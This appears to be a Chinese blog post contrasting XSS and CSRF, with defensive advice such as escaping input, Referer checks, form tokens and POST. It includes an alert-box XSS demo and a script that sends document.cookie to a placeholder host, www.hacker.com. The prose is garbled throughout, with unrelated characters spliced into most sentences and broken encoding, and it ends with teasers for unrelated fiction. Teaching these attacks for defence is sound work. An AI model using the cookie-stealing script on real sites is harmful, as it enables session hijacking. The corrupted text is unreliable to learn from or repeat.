XSS-vs-CSRF

XSS:Cross Site Scripting,跨站腳本蚣旱,其攻擊的本質(zhì)是讓用戶的瀏覽器運(yùn)行一段刻意構(gòu)造的腳本钦购,其實(shí)用戶的瀏覽器在加載頁面時(shí)候會(huì)調(diào)用其中的腳本段,如果其中存在一段刻意構(gòu)造的惡意腳本的話都许,就會(huì)被瀏覽器直接執(zhí)行稻薇,造成攻擊。
最常見的例子如下:
現(xiàn)在有一個(gè)網(wǎng)站有一個(gè)發(fā)帖子的功能胶征,然后一個(gè)用戶登錄之后塞椎,在輸入帖子的內(nèi)容區(qū)輸入了如下的內(nèi)容:

<script type="text/javascript>
  alert("You were hacked!");
</script>

當(dāng)用戶點(diǎn)擊發(fā)帖之后,如果服務(wù)器針對(duì)該內(nèi)容沒有進(jìn)行轉(zhuǎn)碼或其他安全操作睛低,則當(dāng)其他用戶刷新當(dāng)前頁面的時(shí)候案狠,當(dāng)該內(nèi)容嵌入到頁面的時(shí)候成為了頁面的一部分元素,此時(shí)其他用戶就會(huì)看到一個(gè)彈窗顯示You were hacked!钱雷。這就是最常見的骂铁,最易理解的XSS攻擊,就是通過在頁面或者地址上構(gòu)造惡意腳本實(shí)現(xiàn)不同的目的罩抗。
預(yù)防策略:
由于該攻擊是由于輸入的惡意腳本實(shí)現(xiàn)的拉庵,所以最直接的方式就是對(duì)該輸入進(jìn)行轉(zhuǎn)義,轉(zhuǎn)移之后再在頁面顯示則不會(huì)出現(xiàn)上述情況套蒂。
CSRF:Cross Site Request Forgery跨站請(qǐng)求偽造钞支。從名字上就可以看出,該攻擊是假冒用戶進(jìn)行惡意操作操刀。
由于Http協(xié)議是無狀態(tài)協(xié)議烁挟,即這一次請(qǐng)求和上一次請(qǐng)求沒有關(guān)系,網(wǎng)站的用戶認(rèn)證一般都是采用的session的方式實(shí)現(xiàn)骨坑,之前的session直接存在客戶端撼嗓,可以直接獲取,后來的操作都是在客戶端的cookie中存儲(chǔ)session_id。當(dāng)用戶登錄之后静稻,進(jìn)行其他的操作的時(shí)候所有的Http請(qǐng)求的時(shí)候都會(huì)帶上自身的cookies交給服務(wù)器進(jìn)行驗(yàn)證警没,在前面的XSS攻擊中,攻擊者可以獲取到用戶的cookie振湾,例如:

<script type="text/javascript>
  var sc = document.createElement("script");
  sc.src = "www.hacker.com?cook=" + document.cookie;
  sc.onload = function(){
    alert("Your cookie was stolen");
  }
</script>

通過上述操作之后杀迹,攻擊者就可以獲取到用戶的通行證了,然后在進(jìn)行其他操作的時(shí)候就可以用該cookie進(jìn)行。
預(yù)防策略:
1:該攻擊的原理是假冒用戶押搪,那么預(yù)防的就是加強(qiáng)用戶認(rèn)證树酪,有一種方式是通過refer參數(shù)預(yù)防,即獲取該請(qǐng)求來自的上一頁的地址大州,通過該地址驗(yàn)證來請(qǐng)求來自哪里续语。但是refer在很多情況下獲取不到,包括但不限于:
1.1:Location對(duì)象是一個(gè)用于頁面導(dǎo)航的非常實(shí)用的對(duì)象厦画。因?yàn)樗试S你只變更Url的其中一部分疮茄。例如從cn域名切換到com域名,其他部分不變:window.location.hostname = "example.com";
但是根暑,通過修改Location進(jìn)行頁面導(dǎo)航的方法力试,會(huì)導(dǎo)致在IE下丟失Referrer。
1.2:window.open方式打開新窗口之后在有些瀏覽器沒有傳遞refer
1.3:鼠標(biāo)拖拽打開新窗口,鼠標(biāo)拖拽是現(xiàn)在非常流行的用戶習(xí)慣排嫌,很多瀏覽器都內(nèi)置或者可以通過插件的方式來支持鼠標(biāo)拖拽式瀏覽畸裳。但是通過這種方式打開的頁面,基本全都丟失referrer淳地。并且怖糊,這種情況下,也無法使用window.opener的方式去獲取丟失的referrer了颇象。
2:通過在頁面的輸入表單中加入一個(gè)隨機(jī)的字符串伍伤,然后將該字符串也嵌入到cookie中,當(dāng)提交表單的時(shí)候服務(wù)器可以驗(yàn)證該字符串是否是預(yù)先嵌入的字符串進(jìn)行驗(yàn)證遣钳。
3:通過POST的方式嚷缭,對(duì)于提交表單等會(huì)發(fā)生資源修改的操作,POST操作是首選耍贾,由于Ajax在進(jìn)行提交的時(shí)候不能跨域操作,所以可以避免一部分的攻擊路幸。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末荐开,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子简肴,更是在濱河造成了極大的恐慌晃听,老刑警劉巖,帶你破解...
    沈念sama閱讀 217,277評(píng)論 6 503
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異能扒,居然都是意外死亡佣渴,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,689評(píng)論 3 393
  • 文/潘曉璐 我一進(jìn)店門初斑,熙熙樓的掌柜王于貴愁眉苦臉地迎上來辛润,“玉大人,你說我怎么就攤上這事见秤∩笆” “怎么了?”我有些...
    開封第一講書人閱讀 163,624評(píng)論 0 353
  • 文/不壞的土叔 我叫張陵鹃答,是天一觀的道長(zhǎng)乎澄。 經(jīng)常有香客問我,道長(zhǎng)测摔,這世上最難降的妖魔是什么置济? 我笑而不...
    開封第一講書人閱讀 58,356評(píng)論 1 293
  • 正文 為了忘掉前任,我火速辦了婚禮锋八,結(jié)果婚禮上浙于,老公的妹妹穿的比我還像新娘。我一直安慰自己查库,他們只是感情好路媚,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,402評(píng)論 6 392
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著樊销,像睡著了一般整慎。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上围苫,一...
    開封第一講書人閱讀 51,292評(píng)論 1 301
  • 那天裤园,我揣著相機(jī)與錄音,去河邊找鬼剂府。 笑死拧揽,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的腺占。 我是一名探鬼主播淤袜,決...
    沈念sama閱讀 40,135評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼,長(zhǎng)吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼衰伯!你這毒婦竟也來了铡羡?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 38,992評(píng)論 0 275
  • 序言:老撾萬榮一對(duì)情侶失蹤意鲸,失蹤者是張志新(化名)和其女友劉穎烦周,沒想到半個(gè)月后尽爆,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,429評(píng)論 1 314
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡读慎,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,636評(píng)論 3 334
  • 正文 我和宋清朗相戀三年漱贱,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片夭委。...
    茶點(diǎn)故事閱讀 39,785評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡幅狮,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出闰靴,到底是詐尸還是另有隱情彪笼,我是刑警寧澤,帶...
    沈念sama閱讀 35,492評(píng)論 5 345
  • 正文 年R本政府宣布蚂且,位于F島的核電站配猫,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏杏死。R本人自食惡果不足惜泵肄,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,092評(píng)論 3 328
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望淑翼。 院中可真熱鬧腐巢,春花似錦、人聲如沸玄括。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,723評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽遭京。三九已至胃惜,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間哪雕,已是汗流浹背船殉。 一陣腳步聲響...
    開封第一講書人閱讀 32,858評(píng)論 1 269
  • 我被黑心中介騙來泰國(guó)打工, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留斯嚎,地道東北人利虫。 一個(gè)月前我還...
    沈念sama閱讀 47,891評(píng)論 2 370
  • 正文 我出身青樓,卻偏偏與公主長(zhǎng)得像堡僻,于是被迫代替她去往敵國(guó)和親糠惫。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,713評(píng)論 2 354

推薦閱讀更多精彩內(nèi)容

  • http://www.91ri.org/tag/fuzz-bug 通常情況下钉疫,有三種方法被廣泛用來防御CSRF攻擊...
    jdyzm閱讀 4,173評(píng)論 0 5
  • HTTP cookie(也稱為web cookie,網(wǎng)絡(luò)cookie,瀏覽器cookie或者簡(jiǎn)稱cookie)是網(wǎng)...
    留七七閱讀 17,950評(píng)論 2 71
  • 1. 網(wǎng)絡(luò)基礎(chǔ)TCP/IP HTTP基于TCP/IP協(xié)議族硼讽,HTTP屬于它內(nèi)部的一個(gè)子集。 把互聯(lián)網(wǎng)相關(guān)聯(lián)的協(xié)議集...
    yozosann閱讀 3,443評(píng)論 0 20
  • <a name='html'>HTML</a> Doctype作用陌选?標(biāo)準(zhǔn)模式與兼容模式各有什么區(qū)別? (1)理郑、<...
    clark124閱讀 3,474評(píng)論 1 19
  • 一:在制作一個(gè)Web應(yīng)用或Web站點(diǎn)的過程中,你是如何考慮他的UI咨油、安全性您炉、高性能、SEO役电、可維護(hù)性以及技術(shù)因素的...
    Arno_z閱讀 1,157評(píng)論 0 1